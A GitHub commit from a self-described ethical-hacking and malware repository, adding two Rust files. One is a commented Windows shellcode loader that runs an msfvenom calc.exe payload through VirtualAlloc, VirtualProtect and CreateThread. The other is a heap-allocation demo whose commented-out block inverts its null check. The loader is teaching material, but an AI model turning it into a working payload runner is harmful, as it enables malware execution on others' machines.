Skip to content

This Repository is a collection of different ethical hacking tools and malware's for penetration testing and research purpose written in python, ruby, rust, c++, go and c.

Add files via upload

Abdul Wahab Junaid366921369678
diff --git a/Rust for Hacking/Basic/Payload_Exec_with_explain.rs b/Rust for Hacking/Basic/Payload_Exec_with_explain.rs
new file mode 100644
index 0000000..a77346c
--- /dev/null
+++ b/Rust for Hacking/Basic/Payload_Exec_with_explain.rs
@@ -0,0 +1,115 @@
+/*
+ Simple Payload Execution With Explanation.
+ Pov: Just wrote this program for teaching my friends about how shellcode works and executes when it comes to windows.
+ @5mukx
+*/
+
+// Importing winapi from crates
+
+use std::ptr::{copy, null_mut};
+use winapi::um::errhandlingapi::GetLastError;
+use winapi::um::memoryapi::{VirtualAlloc, VirtualProtect};
+use winapi::um::winnt::{MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READWRITE, PAGE_READWRITE};
+use winapi::um::processthreadsapi::CreateThread;
+use winapi::um::synchapi::WaitForSingleObject;
+
+macro_rules! error {
+ ($msg:expr, $($arg:expr), *) => {
+ println!("[-] {}", format!($msg, $($arg), *));
+ return;
+ }
+}
+
+macro_rules! okey {
+ ($msg:expr) => {
+ println!("[+] {}", format!($msg));
+ }
+}
+
+fn main() {
+ // Generating sample calc shellcode using metasploit
+ // msfvenom -p windows/x64/exec CMD=calc.exe -f rust
+ let shellcode: [u8; 276] = [
+ 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52,
+ 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48,
+ 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9,
+ 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
+ 0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48,
+ 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01,
+ 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48,
+ 0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
+ 0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c,
+ 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0,
+ 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04,
+ 0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
+ 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x48,
+ 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f,
+ 0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
+ 0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb,
+ 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c,
+ 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00
+ ];
+
+ /*
+ Why unsafe ? : some operations require bypassing these safety checks for low-level
+ memory manipulation, interacting with hardware, or calling foreign functions (e.g., WinAPI in this case).
+ */
+ unsafe {
+
+ okey!("Allocating memory for the shellcode with read/write permissions");
+ let shellcode_addr = VirtualAlloc(
+ null_mut(), // address hint (nullptr means the system chooses the address)
+ shellcode.len(), // size of the memory block
+ MEM_COMMIT | MEM_RESERVE, // allocation type
+ PAGE_READWRITE, // memory protection
+ );
+
+ // checking if memory allocation was successful
+ if shellcode_addr.is_null() {
+ error!("VirtualAlloc failed {}", GetLastError());
+ }
+
+ println!("[+] Shellcode Addr: {:?}", shellcode_addr);
+
+ okey!("Copy the shellcode to the allocated memory");
+ copy(shellcode.as_ptr(), shellcode_addr as *mut u8, shellcode.len());
+
+ okey!("Change the memory protection to executable");
+
+ let mut old_protection = 0;
+
+ let virtualprotect = VirtualProtect(
+ shellcode_addr, // Starting Page Address
+ shellcode.len(), // Shellcode size
+ PAGE_EXECUTE_READWRITE, // Memory protection Option , Either Exec, Read, or Readwrite
+ &mut old_protection // Previous protection
+ );
+
+ if virtualprotect == 0 {
+ error!("VirtualProtect failed {}", GetLastError());
+ }
+
+ okey!("Creating thread to execute the shellcode");
+
+ let hthread = CreateThread(
+ null_mut(), // Security attributes
+ 0, // Stack size (0 means default)
+ Some(std::mem::transmute(shellcode_addr)), // Thread start address
+ null_mut(), // Thread parameter
+ 0, // Creation flags
+ null_mut(), // Thread ID
+ );
+
+ println!("Thread Address: {:?}", hthread);
+
+ if hthread.is_null() {
+ error!("[!] CreateThread failed {}", GetLastError());
+ }
+
+ // waiting for the created thread to finish execution
+ okey!("[+] Shellcode Executed!");
+ WaitForSingleObject(hthread, 0xFFFFFFFF); // 0xFFFFFFFF means to wait for INFINITE times ..!
+ }
+}
+
diff --git a/Rust for Hacking/Basic/mem_allocation.rs b/Rust for Hacking/Basic/mem_allocation.rs
new file mode 100644
index 0000000..780008f
--- /dev/null
+++ b/Rust for Hacking/Basic/mem_allocation.rs
@@ -0,0 +1,98 @@
+/*
+Malware Basics: Allocating at Windows Memory via Rust Functions and Windows API'S !
+
+For more codes: https://github.com/Whitecat18/Rust-for-Malware-Development.git
+By: @5mukx
+
+*/
+
+// MANUAL MEMORY ALLOCATION WITHOUT [winapi] aka WINDOWS API.
+
+/*
+
+use std::alloc::{alloc, dealloc, Layout};
+use std::ptr;
+use std::ffi::CString;
+
+use std::ptr::copy_nonoverlapping;
+
+fn main(){
+ let size = 100;
+
+ let layout = Layout::from_size_align(size, std::mem::align_of::<u8>()).unwrap();
+
+ // Allocate memory with global Allocator
+ let p_addr = unsafe { alloc(layout)};
+
+ unsafe{
+ if p_addr.is_null(){
+ // filling the allocated memory with 0 .
+ ptr::write_bytes(p_addr, 0, size);
+ // Using CString, An C-compatible, nul-terminated string with no nul bytes in the middle.
+
+ let string = CString::new("Maldev hits diffrerent").expect("Error while creating cstring");
+
+ // copy_nonoverlapping is semantically equivalent to C's memcpy but with the argument order swapped
+ copy_nonoverlapping(string.as_ptr(), p_addr as *mut i8, string.as_bytes().len());
+
+ let content = std::slice::from_raw_parts(p_addr, string.as_bytes().len());
+
+ println!("[+] Memory Content: {:?}",content);
+
+ println!("[+] Deallocating Mem contnet");
+ dealloc(p_addr, layout);
+ } else {
+ println!("[-] Failed to allocate memory");
+ }
+ }
+}
+
+*/
+
+// MEMORY ALLOCATION USING [winapi]
+
+/*
+Make sure you have include these dependencies on Cargo.toml file !
+
+[dependencies]
+winapi = { version = "0.3", features = ["minwindef", "winbase"] }
+*/
+
+
+
+use winapi::um::heapapi::{GetProcessHeap, HeapAlloc, HeapFree};
+use std::slice::from_raw_parts;
+fn main(){
+ unsafe{
+ let heap = GetProcessHeap();
+ if heap.is_null(){
+ println!("[-] Failed to get process heap");
+ return
+ }
+
+ // https://learn.microsoft.com/en-us/windows/win32/api/heapapi/nf-heapapi-heapalloc
+ // 0x00000008 -> /. similar to winnt::HEAP_ZERO_MEMORY;
+ let p_address = HeapAlloc(heap, 0x00000008, 100);
+
+ if p_address.is_null(){
+ println!("[-] Failed to allocate memory on the heap");
+ return
+ }
+
+ println!("[+] Base Address of Allocated memory: {:#?}",p_address);
+
+ let string = "Maldev hits different".as_ptr() as *const u8;
+
+
+ std::ptr::copy_nonoverlapping(string , p_address as *mut u8, 100);
+
+ let content = from_raw_parts(p_address as *const u8, 100);
+
+ println!("[+] Memory content: {:?}", content);
+
+
+ HeapFree(heap, 0, p_address);
+
+ println!("[+] Freed Allocated memory !");
+ }
+}